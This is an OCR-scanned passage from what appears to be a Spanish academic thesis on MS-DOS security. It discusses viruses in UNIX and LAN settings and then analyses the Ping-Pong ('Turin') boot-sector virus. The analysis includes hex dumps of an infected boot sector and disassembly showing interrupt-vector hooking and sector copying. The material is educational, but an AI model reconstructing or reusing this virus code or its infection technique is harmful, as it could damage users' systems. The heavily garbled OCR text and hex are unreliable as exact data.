sobre todo, en versiones adecuadas para ello, como son XENIX
y MINIX.

UNIX tiene fama de ser un sistema operative inseguro,
posiblemente por el hecho de haber tenido serias deficiencias
de omisién en sus primeras versiones; el hecho es que UNIX es
un sistema operativo bastante seguro y, por supuesto mucho
mas gue HS~DOS.

A pesar de lo anterior, UNIX no ha estado excento de los
atagues de los virus. Se tiene conocimiento de diversos
atagues sufridos por este sistema operativo, como es el caso
de Internet, una de las redes basada en UNIX mas importantes.

No obstante este, y algunos otros casos conocidos, 1la
afectacién de este sistema operativo por parte de los virus
es mucho nenor que la del M8-DOB, posiblemente no solo debido
a que UNIX sea mas seguro, sino también porque MB-DOB esta
mucho mas difundido.

¥.5.3. Log Virus en lus Redes de Microcomputadoras.

Debido a que las redes locales (LAN) de microcomputadoras
tienen como propésito principal el compartir recursos e
informacién, son el medio ideal para la transmisién de los
virus.

Una red local esta compuesta de un servidor de archivos,
estaciones de trabajo y diversos periféricos y dispositivos
de comunicacién. Si las estaciones de trabajo y el servidor
son microcomputadoras, estas son vulnerables por los virus
antes mencionados. 5i los virus presentan un cuadro dificil
de controlar en un ambiente independiente, en 1las redes
locales, esta situacién se complica enormemente.
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La razén por 1la que el control de é&stos sistemas se
complica, deriva de la multiplicidad de entradas de
informacién., Cualquier medio de transmisién de datos dentro
da una red es suceptible de transmitir virue, ya sea a través
del disco duro, del disco flexible o de un modem, lo cual
produce que la propagacién de los virus tenga proporciones
exponenciales.

La parte principal de una LAN es el sistema operativo.
Este software produce todos los servicios requeridos para las
aplicaciones de la red, al mismo tiempo aisla estas
aplicaciones de las capas mas bajas del hardware. Para lograr
esto, los diferentes proveedores de sistemas operativos LAN
los construyen en capas, teniendo como una de ellas al
sistema operativo MS-DOS.

Debido a lo anterior, virtualmente todos los virus de MS-
DOS podrian infectar una red, aunque en la prictica esto no
es exactamente cierto.

Dado que la mayoria de los virus han sido disefiados para
el sistema operativo MB-DOSB, se infiere que é&stos se
comportarian distinto bajo un sistema operativo de red o
incluso que ni siquiera puedieran funcionar. Un caso muy
comln es encontrar errores por falta de memoria cuande un
virus de M8~-D0OS actuia. Para el caso de los virus que afectan
la FAT, la mayorfa de los sistemas operativos de red 1la
explotan generando una copia encriptada, por lo que en lo
general tampoco podrian actuar.

El escenario mas destructivo dentro de las redes ocurre
cuando un virus ataca el comando de conexién que se guarda en
la particién de DOS del servidor y que se ejecuta cada vez
que un usuario se conecta a la red. Si esta secciédn se
infecta, el virus infectard todas las cstaciones de trabajo.
Sin embargo, la infeccién mas comGn de las redes de
microcomputadoras es la que se aisla en los directorios de
los usuarjios ya que generalmente los sistemas operativos de
red mantienen sus controles de acceso de esta forma.

No obstante, los virus han afectado las redes de las
microcomputadoras en forma frecuente, sin importar el sistema
operativo de red o si el virus fue disefiado para MS-DOS
exclusivamente.
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CAPITULO V
PROGRAMAS PARA
VIOLAR LA SEGURIDAD
DEL SISTEMA OPERATIVO




CAPITULO V, PROGRAMAS PARA VIOLAR LA SEGURIDAD.

En este caplitulo, se presentaridn algunos programas con
los que se ejemplifica c6émo puede violarse la seguridad en
las microcomputadoras 80386 con el sistema operativo MS-DOB.
Estos programas contemplan la explicacién del funcionamiento
de cuatro de los virus mas conocidos, dos infectores del
sistema y dos de archivos especificos. La seleccién de estos
virus, se realizé tomando en cuenta su difusién, facilidad de
deteccién, e incluso, porque es f4cil de entender su
funcionamiento, representando casos tipo para su estudio.

¥.1., VIRUS.

De acuerdo a los conceptos expuestos hasta el momento, es
posible describir el funcionamiento de algunos de los virus
mas conocidos, y cémo éstos violan 1la seguridad en 1la
microcomputadoras. Es importante aclarar, que 1los cuatro
virus que se describir&n a continuacién, no son exclusivos de
la arquitectura 80386 y en su mayoria fueron creados desde la
arquitectura 8086. Esto es debido a que los virus actGan de
acuerdo a un sistema operativo especifico, gue para el caso
de MS-DOS no ha evolucionado lo suficiente para evitar la
accién de este tipo de programas.

V.1.1. E) Virus de Turin:

El virus de Turin, mejor conocido como "el de la
pelotita", es un virus contaminador del sistema del sector de
arranque, infecta por un métode combinado de insercién-
reorientacidn. Este virus graba parte de su cédigo en el é&rea
de boot, y para no afectarla, traslada el &rea de carga
inicial, al primer sector libre que encuentra y lo marca como
dafiado en la FAT para que este sector no pueda ser accesado
por el sistema operativo y no se puedan hacer modificaciones
en é1.

El virus deja intactos los primeros 32 bytes del &rea de
boot, debido a qgue en esa &rea se encuentra el BPB (BIOS
Parameter Block), estructura de datos gque describe las
caracteristicas fisicas del disco y permite a su dispositivo
manejador calcular las direcciones propias para un sector
légico dado. Contiene también informacién usada por M5-DOS, y
varias utilerias para calcular la direccién y el tamafio de
cada &drea de control del disco (FAT y BOOT).

En la figura V-1 se muestra el mapa del sector boot
(cero) de un disco normal con el gue se podr& comparar el
mapa de un boot- infectado, como el que se muestra en la
figura v-2.
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Disco de \s Unided B:

sector Absoluto (000000, BOOT del Sistema
Desplazamiento -«~--=-------- Cédigo Henadecimat -+ovvoree-e
0000¢0000) EB 34 90 49 42 40 20 20 33 2€ 33 00 02 01 01
0016(0810) 02 E0 0O 60 09 F9 07 00 OF 00 02 00 0O 0O 00
0032¢0020) 00 00 00 00 00 CO Q0 00 00 00 00 00 00 0O 00
00438(0030) 00 00 00 DO 01 0D FA 33 CO B8 DO BC 00 7C 16
0064(0040) BB 78 00 346 €5 37 1E 56 16 53 6F 28 7C 89 08
0080(0050) FC AC 26 80 30 00 74 03 25 BA 05 AA 8A Ch £2
0096(0060) 06 1F 89 &7 02 C7 07 28 7C FB €D 13 72 67 AQ
0112(0070) 7C 98 F7 26 16 7C 03 06 1C 7C 03 06 OE 7C A3
0128(0080) 7C A3 37 7C 88 20 00 F7 26 11 7C 68 1E 08 7C
0144(0090) €3 48 F7 ¥3 01 04 37 7C 88 00 05 A1 3F 7C €8
0160¢00A0) 00 B8 01 02 €4 83 00 72 19 50 FB 69 00 00 €
0176(0080) 70 F3 A6 75 0O 8D 7F 20 BE £1 7D 89 08 00 F3
0192(00C0) T4 18 BE 77 70 EB 6A 00 32 €4 CO 16 SE 1F 8F
0208(0000) 8F 44 02 €D 19 BE €O 7D EB €8 AV 1C 05 33 D2
0224(00€0) 36 08 TC FE CO A2 3C 7C A1 37 7C A3 30 7T 68
0240¢00F0) 07 A1 37 7C EB 49 00 A1 18 7C 2A 06 38 7T &0
0256(0100) 06 3C TC 73 03 A0 3C 7T SO €8 &£ 00 58 72 C6
0272(0110) 06 3C 7C 74 OC 0% 046 37 7C F7 26 08 7C O3 08
0288(0120) DO BA 2 15 7C 8 16 FD 70 88 1E 30 7C EA 00
0304(0130) T0 00 AC OA €O 74 22 B4 Ot 88 07 00 CD 10 EB
0320(0140) 33 02 F7 36 18 7C FE C2 88 16 38 7C 33 D2 77
0335(0150) 1A 7C 88 16 28 7C A3 39 7C C3 B4 02 BO 14 39
0352(0160) 81 06 D2 E6 OA 36 38 7C B3 CA B85 E9 BA 16 7D
03£8(0170} BA 36 2A 7C CD 13 C3 0D DA 4E 6F 6E 20 53 79
0384(0180) Th 65 6d 20 64 69 T3 68 20 6F T2 20 64 &9 73
0400(0150) 20 65 T2 72 6F 72 00 OA 52 65 70 6C 61 63 65
0416(01A0) 6Y 6E &4 20 T3 T4 T2 69 68 65 20 61 6E 79 20
0432(0180) 65 TV 20 77 68 65 6E 20 72 65 61 64 79 00 0A
0448(01¢0) 00 OA 44 69 73 &B 20 &2 6F &F 74 20 66 61 69
0464(0100) 75 72 65 00 OA 00 &0 42 4D 42 49 4F 20 20 43
0480(01ED) 4D 49 &2 4D 44 4F 53 20 20 43 &F 4D 00 00 0O
0496(01FQ) 00 00 00 00 00 00 0C 0O 00 00 00 00 03 00 55

k7

F8538888UIAY

valor ASCI1

4 IB® 3.3

3¢ = |
=% 6 7°V Sev]
P

D =v #) 3
61 e 7] os
LA L
<|s <jp N xr ¢
de 71a ]
P |
P oettes ® m
3 67+ ]38
[ A
- 4 )
61}z + Non-Sys
tem disk or disk
error Replace
ord strike any &
ey when ready
Disk Boot fail
ure 18810 €O
KIBNDOS  CoM
v

,En el sector boot infectado por el virus de Turin,
apreciar gque solamente

puede

Figura V-1. Sector Boot Normal.

los primeros

30 bytes

se
son

iguales al original, y que los mensajes del sistema operativo

que. aparecen para indicar error en el disco

disk...) ya no se encuentran.

(Non system
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Disco de {» Unidad B:

Sector Absoluto 0000000, BOOT dol Sistema

Despiazamiento Cédigo Hexsdecimal --- . Valor ASCII
0000¢0000) EB 1C 90 49 42 40 20 20 33 2E 33 00 02 0% 01 00 180 3.3
0016¢00303 02 £0 00 &0 09 £9 07 0C OF 00 02 OO 00 00 33 CO . 3+
0032(0020) BE 00 BC 00 7C 8F DB Al 13 04 20 02 00 A3 13 0% = | .
0048¢0030) 61 06 D3 EO 20 CO O7 BE CO BE 00 7C B8 FE B9 00 = o o+ |
0064 (0040} 01 F3 AS 86 €8 OF 1F £8 00 00 32 €4 CO 13 80 26 vy 2+ &

0080(G050) FB 7D BO 8B 1E F9 7D DE S8 20 20 00 BE O €8 3C } “rxe o+

0096(0060) 00 83 1€ £9 7D 43 B8 CO FF BE €O €8 2F 00 33 €O A3 e e s
0112¢0070) A2 F7 70 8 08 A1 4C 00 8a 1€ 4E 00 C7 04 &€ 00 ) LWt
0128¢0080) DO 7C BC OE 4E 00 OF 1F A3 2A 70 89 1£ 2¢ 7D &4 | % vey=p
0144(0090) 16 ¥8 70 EA 0D 7C 00 00 88 O1 03 E& 03 B4 01 02 >
0150¢00A0) 93 03 06 1C 7C 33 D2 F7 36 18 7C FE C2 84 EA 33 i3 6+ 3
0176¢0080) D2 F7 36 1A 7C B1 06 D2 E4 OA ES 83 CB 86 £9 8A 6 ) -

0192(00C0) F2 88 C3 8A 16 FB 7D BB 00 80 €O 13 73 01 58 C3 + )= w5 ox+
0208¢0000 ) 1E 06 50 53 51 52 OF 1F OE 07 F6 06 F7 70 01 75 “ PSR v Ju
0224 (00E0) 4280 FC 0275303816 F8BMBB6FETD7522 B wd ) H*
0249(00F0) J2E4CD A FECOSTF TS OAFSC2FOTSO5 52 €8 2= .u +uk
0256¢0100} BIOT 5A88CA28 18P0 TEEOOEBO7EB3EA 2, wZ ¢+ = = &

0272¢0110) 72 11 BO OE F7 7D 01 56 57 EB 12 00 5F SE 8026 rec )} W 13
06283(0120) F7 70 FE 5A 59 S8 58 07 1F €A 59 EC 00 0 B3 01 X vy
0304¢0130) 02 B4 00 BY 01 00 E8 BA FF ¥4 06 FB 7D 80 74 23 3}
0320¢0140) BE BE 81 89 04 00 B0 7C 04 01 74 OC B0 7¢C 04 04 [

0335¢0150) 740683 C65 10 E2EFC3I 8D 1483 4C 026880102 t > o L
0352(0160) EB 60 FF BE 02 80 BF 02 7C BY 1C 00 F3 A4 81 3E -
0358¢0170) FC 81 57 13 75 15 80 3E FB 81 00 73 00 Al £5 81 Vu > s
0384(0180) A3 £5 70 83 36 F7 81 £9 08 01 C3 81 3E 08 80 00 36 e
0400(0190) 02 75 F7 B0 3E 00 80 02 72 FO 89 06 O£ 80 A2 10  u > >
0416¢0140) 80 98 F7 26 16 80 03 €8 83 20 00 F7 28 11 80 05 L = &<
0432(0180) FF 01 B8 00 02 F7 F3 03 C8 BY CE F5 7D A1 13 7C = = )
04438(01C0) 28 06 F5 7D 8A 1€ 00 7C 33 D2 32 FF F7 F3 40 88

0464 ¢(0100) F8 80 28 F7 70 FB 30 FO0 OF 76 05 80 OE F7 7D 04 E)=v b
0L80(01ED) BE 0% 00 88 $E OF 7C 4B 89 1€ F3 7D C6 06 B2 7E

0490(01F0) FE EB 00 01 D0 OC 00 0 OO0 OC 00 00 57 13 55 AA

Figura V-2. Sector Boot Infectado por el Virus de Turin.

En la figura V-3 se muestra la primera parte del sector 1
del disco infectado, que es donde reside la FAT; aqui se
puede apreciar que el sector boot ha sido marcade con el
c&digo FFF7 que indica al sistema operativo que esta dafado.
Finalmente 1la figura V-4 muestra el mapa del sector 13 gque
tiene 1la copia del sector bont original. Es importante
aclarar, que para este caso se copidé el boot original al
sector 13, aunque en realidad se coloca en el primer sector
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disponible, dependiendo del tipo de disco, e incluso de la
versién del sistema operativo.

Disco de La Unidad 8z
Sector Absolutc 0000001, FAT del Sistesa

Desplazamiento ---------caen + Cédigo Hexndecimal ------- m.—- valor ASCIi
0000(0000) FO FF EE F7 OF 00 00 00 00 00 00 OO DO 00 00 00
0016(0010) 00 00 DO GO O0G 00 00 00 0CG 00 00 0O 00 00 00 00
0032(0020) 00 00 00 00 00 00 00 00 00 00 GO DO 00 00 00 00
0048({0030) 00 0C 00 00 00 00 OO 00 00 0C 0O 0O 00 00 00 00
0064(0040) 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 O
0080(0050) {0 00 0C 00 0O 00 0O 00 00 00 00 00 OO 00 00 00
0096(0060) 00 00 GO 00 00 00 00 DO 00 0C 0C OC 00 00 00 0O
0112(0070) 00 0¢ 00 00 00 00 0O 00 00 OO 00 00 DO 00 00 00
0128(0080) 00 00 00 00 00 00 0O Q0 CO 00 0O D0 00 00 00 OO0
0144(0090) 00 00 00 00 0Q 00 00 00 OC 00 00 00 00 00 00 00
0160(00A0) 00 00 00 00 00 00 00 00 00 G0 00 ©C 00 00 00 00
0176(0080) 00 00 00 G0 00 00 00 00 00 00 00 00 00 0O 00 00
0192(00C0) 00 00 00 00 Q0 00 00 00 GO 00 0O 00 0D 0D 00 00
0208(0000) 00 00 0C 00 0OG 00 00 00 00 00 00 00 00 00 00 00
0224(00E0) 00 00 €O 00 00 00 00 0G 00 00 0Q 00 00 00 00 00
0240(00F0) 00 00 0O 00 00 00 00 00 00 OC 0O OO 00 0O 00 0O

Figura V-3. FAT de un Disco Infectado por el Virus de Turin.

El cédigo completo del virus tiene un tamafic de apenas 1
Kb en disco y cuando se carga en memoria de 2Kb, para
ejemplificar el funcionamiento de este virus, éste Gltimo es
mostrado en el anexo B, después de haber sido desensamblado
al infectar un disco con formato MS-DOS versién 3.3 en una
microcomputadora con arquitectura 80386.

Haciendo un resumen de c&6mo act@ia este virus, podemos
notar que la primera instruccién del virus es un salto al
desplazamiento O011Eh que es un salto de 32 bytes que
corresponden al BPB.

0F25:0100 JMP 011E ; Salta el BPB
OF25:0102 .
. > BPB
OF25:011E XOR AX,AX
Una vez realizado el salto, se inicializan registros de

trabajo y el sistema de disco flexiblekon el fin de preparar
la substitucién del vector de iterrupciones en este nivel.
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0F25:014A XOR AH,AH
0F25:014C INT 13

Borra AH
Reset al controlador

i
H

Disco de le Unidad 8:

Sector Absoluta 0000013, Cluster 00002

Desplazamiento -+ Cédigo i - Valor AsClf

0000(0000) €B 34 90 4% 42 4D 20 20 33 26 33 00 02 01 01 00 4 1Bn 3.3

0016(0010) 02 €0 00 60 09 F9 07 00 OF 00 02 00 0O 00 00 00 .
0032(0020) 00 00 00 0O 00 00 GO 00 00 G0 0C 0O 00 00 00 12
0048(0030) 00 00 00 00 GY 00 FA 33 CO BE DO BC 00 7C 15 07 3¢ =)

0054(0040) B3 78 00 36 C5 37 1€ 56 16 53 BF 28 7C 69 08 00  x 6 7V Se+
0080¢0050) FC AC 26 80 30 00 74 03 26 6A 05 AR BA C& E2 f1 Lect -
DO9E(0060) 046 1F 69 47 02 C7 07 28 7C FB €O 13 72 &7 AD 10 vG ef=ro>
£112(0070) 7C 98 F7 26 16 7C 03 06 1C 7C 03 06 O 7C A3 3F &l ) I
0128(0080) TCASI?TCEB 2000 F7 26V TCBB IE OB TC O3 | 7| k<] ~ |
DI44(0090)  C3 4B F7 F3 010637 7CBB 00 OS AV SF 7CEBOF  sH  T[e 7]
0160(0040) 00 88 01 02 €8 B3 00 72 19 83 3 B9 08 00 BE D6 | rv
0176¢0080) 7D F3 A6 75 00 80 7F 20 BE E1 70 BY 0B 00 F3 AL Y ou o H
0192(00C0) 74 1BEE 77 7D EB GA OO 32 E4 €D 16 5€ 17 8F 04t w) 2 = .v
0208(0000)  BF 44 02 CD 19 BE COTD EBEB A1 1C 05 33 D2 F7T D =v &) 3
0224(00€0) 36 0B7CFECOA23ICTCAI37TCASI07C BB 00 6 | o <[ 7] =fe
0240(00F0) 07 A) 37 7C EB 49 00 A1 18 7C 2A 06 3B 7C 40 38 701 | ;a8
0256(0100) 06 3C 7C 73 03 AD 3C 7C 50 EB &£ 00 53 72 c6 28 <|s <|p M Xr
0272(0110) 06 3C 7C 74 OC 01 06 37 7C F7 26 OB 7C 03 08 €8 <t 718 |
0288(0120% 00 BA 2€ 15 7C 8A 16 FD 70 88 1E 30 7C EA 00 00 NEEES B
0304¢0130) 70 00 AC OA CQ 74 22 B4 UE BB 07 00 10 £8 F2 P ethes = m>
0320(0140)  33D2F7 36 1B 7CFEC283 1638 7C 3302 F736 3 6} - ;|3 6
0336(0150) 1AT7CB3 16 2A 7TC A3 3P TCC3 B4 02 88 16397 | *| 9les 9|
0352(0160) B1 06 D2 E6 OA 36 38 7C 8B CA BS E9 16 fO 7 . 6;] 3
0368(0170)  BA 36 2A 7C €O 13 C3 00 DA 4E 6F 6E 20 S3 79 73 61= + Won-Sys
0384(0180) 74 65 6d 20 64 69 T3 68 20 6F 72 20 T3 68  tem disk or disk
0400(0190) 20 65 72 T2 6F 72 0D UA 52 65 70 6C 61 63 65 20 error Replace
69

0416(0140) 61 6E 64 20 T3 T4 T2 68 65 20 &1 79 20 68 anrd strike any k

3¥8In2eBEBUBSN
3

0432(0130) 65 79 20 77 68 65 6E 20 72 65 61 64 00 0A 00 ey when ready
0448(01C0) 00 OA 44 69 73 68 20 42 6F 6F 74 20 61 69 6C Disk Boot fail
0464(0100) TS 72 65 00 OA 00 49 42 4D &2 49 4F 20 43 4F  ure IBMBIO CO
04B0(01EC) 4D 49 42 4D &4 &F 53 20 20 43 4F 4D 00 00 00  MIBMDOS COM
0496(0170) 00 00 00 GO 00 DG 00 DO 00 0O 00 00 00 00 55 AR u

Figura V-4. Sector Boot Original en el Sector 13.

A continuacién (en el blogue de instrucciones del
desplazamiento 175h al 182h) se procede a substituir 1la
direccidén de la rutina de interrupcidn 13h (BIOS, servicios
del disco flexible, direccién 4Ch y 4Eh del vector de
interrupciones) por 1la direccitn - del cédigo del virus
{CS:7CDO) .
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O0F25:0175 MOV AX, [004C] ;Guarda el segmento y el
OF25:0178 MOV BX, {004E] ;desplazamiento original
OF25:017C WORD PTR [004C], 7CDO ;Nueva direccién
OF25:0182 MOV [O004E)},CS

Para realizar el copiado de su c6digo (rutina de
reproduccién), el programa utiliza la interrupcién 13h, con
las funciones 2 (lectura) y 3 (escritura) como se observa en
las instrucciones con desplazamiento 198h a 19Dh. La funcién
de lectura permite al virus tomar el &rea de boot original y
trasladarla a otra seccién.

OF25:0198 MOV AX,0301 ;Funcién 3 de escritura
0F25:0198B JMP O01A0 ;jcon un sector
OF25:019D MOV AX,0201 ;Funcién 2 de lectura

Para poder activar 1la parte visual del virus {la
pelotita), se emplea la interrupcién 1Ah (set/read real time
clock) que permite comparar el tiempo leido para
determinarlo. La parte del c6digo dénde se realiza esto se
encuentra en los desplazamientos 1F0 al 1F2.

OF25:01F0 XOR AH,AH ;jServicio 0 para lectura
OF25:01F2 INT 1A ;jdel reloj
Existe una interrupcién de hardware, conocida como

"Programable tick" (08h) o tiempo programable, gue se genera
18.2 veces cada segundo. Esta interrupciédn particular,
ejecuta la rutina en la direccién guardada en la posicién 20h
(19d) de la tabla del vector de interrupciones
correspondiente a la interrupcién 8h, que conserva al dfa la
informacién del tiempo mantenido por el BIOS.

De esta forma, si se substituye esta direccién por la del
wvirus, entonces parecera que la pelotita se mueve
paralelamente al proceso que se este ejecutando en ese
momento.

OF25:03C4 MOV AX, [0020] iGuarda
0F25:03C7 MOV BX, [0022) ;direccién
O0F25:03CB MOV WORD PTR {0020],7EDF
0F25:03D1 MOV [0022],CS ;Segmento y
;desplazaniento del virus

Hay gque hacer notar que esta rutina no reemplaza el
manejador del "clock tick", ya que solo es llamada después de
que la rutina del virus regresa el control al sistema.

La parte visual del virus (la “pelotita") es un cédigo
gue inicia leyendo el modo del video para realizar su
desplegado, Y lo compara con el modo del video grabado en la
direccién 7FD4h, si coincide inicia su juego, de no ser asi,
guarda el nuevo modo en la misma direccién para, de cualquier
forma activarse.
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A continuacién, en la figura V~5 se resume como funciona
este virus:

MEMORIA VECTOR DE INTERUPCIONES

€8:0000

‘el ¢8:7Goo

©8:0100 JMP  ouRh

82 LYTES DEL bpbd

c8:raNE

INIC1O DEL VIRUB .oy C8:7TEQF

Moditlon Veotor de
interrupoclones para ta
Intercupolén tah

cs:0108 Coptado del 08dlac
KHeil Vicus y substituclan
del wveotor Boot

CB1C0IFO | 4otivactén de ta rutina
para Is “pelotita”
modifloando el vector
de Interrupolones pars
la Interrupoidn 8h

CB:04E2

Figura V-§. Funcionamiento del Virus de Turin.

V.1.2 Pl Virus de Pakistén, (Brain).

Como se menciond con anterioridad, el virus de Pakistén
es uno de los programas nocivos mas difundidos y que mayor
nimero de computadoras ha infectado. Se origind en Lahore,
Pakista&n en 1986 y, como el virus de Turin, también es un
infector del sistema, del sector de arranque, utilizando el
método de reorientacién.

El programa ocupa 9Kk de memoria, y cuando esta presente
hace muy lentos los procesos y accesos a disco. A diferencia
del virus de Turin, este virus si graba su c6digo completo en
el &drea de boot, sobre los primeros 32 desplazamientos (4rea
del BPB), después c